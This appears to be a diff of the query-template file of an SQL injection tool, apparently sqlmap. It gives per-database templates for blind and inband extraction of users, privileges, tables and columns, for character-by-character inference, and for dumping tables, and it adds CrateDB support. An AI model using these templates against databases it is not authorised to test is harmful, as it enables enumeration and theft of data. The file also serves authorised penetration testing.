<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype = 'U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype = 'U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype = 'U'"/>
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS table_name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
</tables>
<columns>
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
</columns>
<dump_table>
@@ -225,7 +223,6 @@
</search_column>
</dbms>
<!-- Oracle -->
<dbms value="Oracle">
<cast query="CAST(%s AS VARCHAR(4000))"/>
<length query="LENGTH(%s)"/>
@@ -304,8 +301,8 @@
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
</columns>
<dump_table>
<inband query="SELECT %s FROM %s"/>
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
<inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq ORDER BY ROWNUM) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
</dump_table>
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
<search_db>
@@ -322,7 +319,6 @@
</search_column>
</dbms>
<!-- SQLite -->
<dbms value="SQLite">
<cast query="CAST(%s AS TEXT)" dbms_version="&gt;=3.0"/>
<!-- NOTE: On SQLite version 2 everything is stored as a string (Reference: http://www.mono-project.com/SQLite) -->
@@ -376,7 +372,6 @@
<search_column/>
</dbms>
<!-- Microsoft Access -->
<dbms value="Microsoft Access">
<cast query="RTRIM(CVAR(%s))"/>
<length query="LEN(RTRIM(CVAR(%s)))"/>
@@ -421,7 +416,6 @@
<search_column/>
</dbms>
<!-- Firebird -->
<dbms value="Firebird">
<cast query="TRIM(CAST(%s AS VARCHAR(10000)))"/>
<length query="CHAR_LENGTH(TRIM(%s))"/>
@@ -451,8 +445,8 @@
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
</users>
<tables>
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>
<blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
<blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
</tables>
<privileges>
<inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
@@ -462,9 +456,9 @@
<statements/>
<dbs/>
<columns>
<!--<inband query="SELECT r.RDB$FIELD_NAME,CASE f.RDB$FIELD_TYPE WHEN 261 THEN 'BLOB' WHEN 14 THEN 'CHAR' WHEN 40 THEN 'CSTRING' WHEN 11 THEN 'D_FLOAT' WHEN 27 THEN 'DOUBLE' WHEN 10 THEN 'FLOAT' WHEN 16 THEN 'INT64' WHEN 8 THEN 'INTEGER' WHEN 9 THEN 'QUAD' WHEN 7 THEN 'SMALLINT' WHEN 12 THEN 'DATE' WHEN 13 THEN 'TIME' WHEN 35 THEN 'TIMESTAMP' WHEN 37 THEN 'VARCHAR' ELSE 'UNKNOWN' END AS field_type FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>-->
<inband query="SELECT r.RDB$FIELD_NAME,f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>
<blind query="SELECT r.RDB$FIELD_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" query2="SELECT f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s' AND r.RDB$FIELD_NAME='%s'" count="SELECT COUNT(r.RDB$FIELD_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>
<!--<inband query="SELECT r.RDB$FIELD_NAME,CASE f.RDB$FIELD_TYPE WHEN 261 THEN 'BLOB' WHEN 14 THEN 'CHAR' WHEN 40 THEN 'CSTRING' WHEN 11 THEN 'D_FLOAT' WHEN 27 THEN 'DOUBLE' WHEN 10 THEN 'FLOAT' WHEN 16 THEN 'INT64' WHEN 8 THEN 'INTEGER' WHEN 9 THEN 'QUAD' WHEN 7 THEN 'SMALLINT' WHEN 12 THEN 'DATE' WHEN 13 THEN 'TIME' WHEN 35 THEN 'TIMESTAMP' WHEN 37 THEN 'VARCHAR' ELSE 'UNKNOWN' END AS field_type FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>-->
<inband query="SELECT r.RDB$FIELD_NAME,f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" condition="r.RDB$FIELD_NAME"/>
<blind query="SELECT r.RDB$FIELD_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" query2="SELECT f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s' AND r.RDB$FIELD_NAME='%s'" count="SELECT COUNT(r.RDB$FIELD_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" condition="r.RDB$FIELD_NAME"/>
</columns>
<dump_table>
<inband query="SELECT %s FROM %s"/>
@@ -472,18 +466,15 @@
</dump_table>
<search_db/>
<search_table>
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0) AND %s" condition="RDB$RELATION_NAME" condition2=""/>
<blind query="" query2="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" count="" count2="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" condition="RDB$RELATION_NAME" condition2=""/>
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0) AND %s" condition="RDB$RELATION_NAME" condition2=""/>
<blind query="" query2="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="" count2="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" condition="RDB$RELATION_NAME" condition2=""/>
</search_table>
<search_column/>
<search_column>
<inband query="SELECT r.RDB$RELATION_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE %s" condition="r.RDB$FIELD_NAME" condition2="" condition3="r.RDB$RELATION_NAME"/>
<blind query="" query2="SELECT DISTINCT(r.RDB$RELATION_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE %s" count="" count2="SELECT COUNT(DISTINCT(r.RDB$RELATION_NAME)) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE %s" condition="r.RDB$FIELD_NAME" condition2="" condition3="r.RDB$RELATION_NAME"/>
</search_column>
</dbms>
<!-- SAP MaxDB -->
<!-- http://dev.mysql.com/tech-resources/articles/maxdb-php-ready-for-web.html -->
<!-- http://dev.mysql.com/doc/refman/5.0/es/maxdb-reserved-words.html -->
<!-- http://maxdb.sap.com/doc/7_6/default.htm -->
<!-- http://www.sapdb.org/7.4/htmhelp/35/f8823cb7e5d42be10000000a114027/content.htm -->
<!-- http://www.ximido.de/research/PenTestingMaxDB.pdf -->
<dbms value="SAP MaxDB">
<length query="LENGTH(%s)"/>
<isnull query="VALUE(%s,' ')" query2="IFNULL(%s,' ')"/>
@@ -499,12 +490,12 @@
<comment query="--" query2="#"/>
<substring query="SUBSTR((%s),%d,%d)"/>
<concatenate query="CONCAT(%s,%s)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM VERSIONS"/>
<hex query="HEX(%s)"/>
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
<banner query="SELECT ID FROM SYSINFO.VERSION"/>
<current_user query="SELECT USER() FROM DUAL"/>
<current_db query="SELECT DATABASE() FROM DUAL"/>
<current_user query="SELECT USER() FROM VERSIONS"/>
<current_db query="SELECT USER() FROM VERSIONS"/>
<hostname/>
<table_comment/>
<column_comment/>
@@ -534,9 +525,12 @@
<inband query="SELECT %s FROM %s"/>
<blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
</dump_table>
<search_db>
<inband query="SELECT schemaname FROM domain.tables WHERE %s" condition="schemaname"/>
<blind query="SELECT DISTINCT(schemaname) FROM domain.tables WHERE %s" count="SELECT COUNT(DISTINCT(schemaname)) FROM domain.tables WHERE %s" condition="schemaname"/>
</search_db>
</dbms>
<!-- Sybase -->
<dbms value="Sybase">
<cast query="CONVERT(VARCHAR(4000),%s)"/>
<length query="LTRIM(STR(LEN(%s)))"/>
@@ -606,7 +600,6 @@
</search_column>
</dbms>
<!-- IBM DB2 -->
<dbms value="IBM DB2">
<!-- Casting to varchar does not work with version < v9, so we had to use char(254) instead -->
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
@@ -631,7 +624,7 @@
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS LIMIT,versionnumber FROM sysibm.sysversions) AS qq WHERE LIMIT=1"/>
<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
<!-- NOTE: On DB2 we use the current user as default schema (database) -->
<current_db query="SELECT current server FROM SYSIBM.SYSDUMMY1"/>
<current_db query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
<hostname query="SELECT host_name FROM TABLE(sysproc.env_get_sys_info())"/>
<table_comment/>
<column_comment/>
@@ -679,7 +672,6 @@
</search_column>
</dbms>
<!-- Hyper SQL Database -->
<dbms value="HSQLDB">
<cast query="CAST(%s AS LONGVARCHAR)"/>
<length query="CHAR_LENGTH(%s)"/>
@@ -696,7 +688,8 @@
<substring query="SUBSTR((%s),%d,%d)"/>
<concatenate query="CONCAT(%s,%s)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<hex query="RAWTOHEX(%s)"/>
<!-- NOTE: RAWTOHEX() doesn't accept non-binary values -->
<!-- <hex query="RAWTOHEX(%s)"/> -->
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
<banner query="DATABASE_VERSION()"/>
<current_user query="CURRENT_USER"/>
@@ -704,7 +697,7 @@
<hostname/>
<table_comment/>
<column_comment/>
<is_dba query="SELECT ADMIN FROM INFORMATION_SCHEMA.USERS WHERE NAME=CURRENT_USER"/>
<is_dba query="SELECT ADMIN FROM INFORMATION_SCHEMA.SYSTEM_USERS WHERE USER_NAME=CURRENT_USER"/>
<check_udf/>
<users>
<!-- LIMIT is needed at start for v1.7 this gets mangled unless no-cast is used -->
@@ -763,7 +756,7 @@
<count query="COUNT(%s)"/>
<comment query="--" query2="//"/>
<substring query="SUBSTR((%s),%d,%d)"/>
<concatenate query="CONCAT(%s,%s)"/>
<concatenate query="%s||%s"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<hex query="RAWTOHEX(%s)"/>
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
@@ -813,9 +806,6 @@
</search_column>
</dbms>
<!-- Informix -->
<!-- https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_072.htm -->
<!-- https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sec.doc/ids_am_041.htm -->
<dbms value="Informix">
<cast query="RTRIM(TO_CHAR(%s))"/>
<length query="CHAR_LENGTH(RTRIM(%s))"/>
@@ -832,7 +822,8 @@
<substring query="SUBSTR((%s),%d,%d)"/>
<concatenate query="%s||%s"/>
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSMASTER:SYSDUAL"/>
<hex query="HEX(%s)"/>
<!-- NOTE: HEX() only accepts integer values -->
<!-- <hex query="HEX(%s)"/> -->
<!-- http://www.dbforums.com/showthread.php?1660588-select-first-and-union&p=6478613#post6478613 -->
<inference query="ASCII(SUBSTR((SELECT * FROM (%s)),%d,1))>%d"/>
<banner query="SELECT DBINFO('VERSION','FULL') FROM SYSMASTER:SYSDUAL"/>
@@ -877,7 +868,6 @@
<search_column/>
</dbms>
<!-- MonetDB -->
<dbms value="MonetDB">
<cast query="CAST(%s AS VARCHAR(4000))"/>
<length query="LENGTH(%s)"/>
@@ -892,7 +882,7 @@
<count query="COUNT(%s)"/>
<comment query="--" query2="#"/>
<substring query="SUBSTRING((%s),%d,%d)"/>
<concatenate query="CONCAT(%s,%s)"/>
<concatenate query="%s||%s"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
<banner query="SELECT value FROM environment WHERE name='monet_version'"/>
@@ -942,7 +932,6 @@
</search_column>
</dbms>
<!-- Apache Derby -->
<dbms value="Apache Derby">
<!-- NOTE: CHAR(%s) causes 'A truncation error was encountered trying to shrink CHAR' -->
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
@@ -1011,7 +1000,6 @@
</search_column>
</dbms>
<!-- Vertica -->
<dbms value="Vertica">
<cast query="CAST(%s AS CHARACTER(10000))"/>
<length query="LENGTH(%s)"/>
@@ -1088,9 +1076,8 @@
</search_column>
</dbms>
<!-- Mckoi -->
<!-- NOTE: DBMS with minimalistic set of (restricted) features -->
<dbms value="Mckoi">
<!-- NOTE: DBMS with minimalistic set of (restricted) features -->
<cast query="CONCAT('',%s)"/>
<length query="LENGTH(%s)"/>
<isnull query="IF(%s IS NULL,' ', %s)"/>
@@ -1130,7 +1117,6 @@
<search_column/>
</dbms>
<!-- Presto -->
<dbms value="Presto">
<cast query="CAST(%s AS VARCHAR(4000))"/>
<length query="LENGTH(%s)"/>
@@ -1192,7 +1178,6 @@
</search_column>
</dbms>
<!-- Altibase -->
<dbms value="Altibase">
<cast query="CAST(%s AS VARCHAR(4000))"/>
<length query="LENGTH(%s)"/>
@@ -1265,9 +1250,8 @@
</search_column>
</dbms>
<!-- MimerSQL -->
<!-- NOTE: DBMS with stohastic output of rows (ORDER BY required) -->
<dbms value="MimerSQL">
<!-- NOTE: DBMS with stohastic output of rows (ORDER BY required) -->
<!-- NOTE: NVARCHAR(4000) causes problems in boolean (e.g. 'Required temporary table row length is 32006, only 32000 is possible') -->
<cast query="CAST(%s AS NVARCHAR(1000))"/>
<length query="CHAR_LENGTH(%s)"/>
@@ -1334,4 +1318,312 @@
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' ORDER BY table_name" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
</search_column>
</dbms>
<dbms value="CrateDB">
<cast query="CAST(%s AS TEXT)"/>
<length query="CHAR_LENGTH((%s)::text)"/>
<isnull query="COALESCE(%s,' ')"/>
<delimiter query="||"/>
<limit query="LIMIT %d OFFSET %d"/>
<limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
<limitgroupstart query="2"/>
<limitgroupstop query="1"/>
<limitstring query=" LIMIT "/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<!-- NOTE: non-; version(s) doesn't work properly -->
<comment query=";--" query2=";/*"/>
<substring query="SUBSTR((%s)::text,%d,%d)"/>
<concatenate query="%s||%s"/>
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
<!-- NOTE: ASCII() only available in >= 4.1 -->
<inference query="SUBSTR((%s)::text,%d,1)>'%c'" query2="ASCII(SUBSTR((%s)::text,%d,1))>%d"/>
<banner query="SELECT version['number'] FROM sys.nodes" query2="VERSION()"/>
<current_user query="CURRENT_USER"/>
<current_db query="CURRENT_SCHEMA()"/>
<hostname query="SELECT hostname FROM sys.nodes"/>
<!--<table_comment query="SELECT pg_catalog.obj_description(c.oid) FROM pg_catalog.pg_class c WHERE c.relname='%s'"/>-->
<table_comment query="SELECT description FROM pg_description JOIN pg_class ON pg_description.objoid=pg_class.oid JOIN pg_namespace ON pg_class.relnamespace=pg_namespace.oid WHERE nspname='%s' AND relname='%s'"/>
<column_comment/>
<is_dba query="(SELECT superuser=true FROM sys.users WHERE name=CURRENT_USER)"/>
<check_udf/>
<users>
<inband query="SELECT name FROM sys.users"/>
<blind query="SELECT name FROM sys.users LIMIT 1 OFFSET %d" count="SELECT COUNT(name) FROM sys.users"/>
</users>
<passwords/>
<privileges>
<inband query="SELECT grantee,type FROM sys.privileges" condition="grantee"/>
<blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee %s '%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee %s '%s'"/>
</privileges>
<roles/>
<statements>
<inband query="SELECT stmt FROM sys.jobs"/>
<blind query="SELECT stmt FROM sys.jobs LIMIT 1 OFFSET %d" count="SELECT COUNT(stmt) FROM sys.jobs"/>
</statements>
<dbs>
<inband query="SELECT schema_name FROM information_schema.schemata"/>
<blind query="SELECT schema_name FROM information_schema.schemata ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(schema_name) FROM information_schema.schemata"/>
</dbs>
<tables>
<inband query="SELECT table_schema,table_name FROM information_schema.tables" condition="table_schema"/>
<blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
</tables>
<columns>
<inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
<blind query="SELECT attname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
</columns>
<dump_table>
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
</dump_table>
<search_db>
<inband query="SELECT schema_name FROM information_schema.schemata WHERE %s" condition="schema_name"/>
<blind query="SELECT schema_name FROM information_schema.schemata WHERE %s" count="SELECT COUNT(DISTINCT(schema_name)) FROM information_schema.schemata WHERE %s" condition="schema_name"/>
</search_db>
<search_table>
<inband query="SELECT table_schema,table_name FROM information_schema.tables WHERE %s" condition="table_name" condition2="table_schema"/>
<blind query="SELECT DISTINCT(table_schema) FROM information_schema.tables WHERE %s" query2="SELECT table_name FROM information_schema.tables WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.tables WHERE %s" count2="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
</search_table>
<search_column>
<inband query="SELECT nspname,relname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
<blind query="SELECT DISTINCT(nspname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
</search_column>
</dbms>
<dbms value="Cubrid">
<cast query="CAST(%s AS VARCHAR(4000))"/>
<length query="CHAR_LENGTH(%s)"/>
<isnull query="IFNULL(%s,' ')"/>
<delimiter query="||"/>
<limit query="LIMIT %d,%d"/>
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
<limitgroupstart query="1"/>
<limitgroupstop query="2"/>
<limitstring query=" LIMIT "/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<comment query="--" query2="/*" query3="//"/>
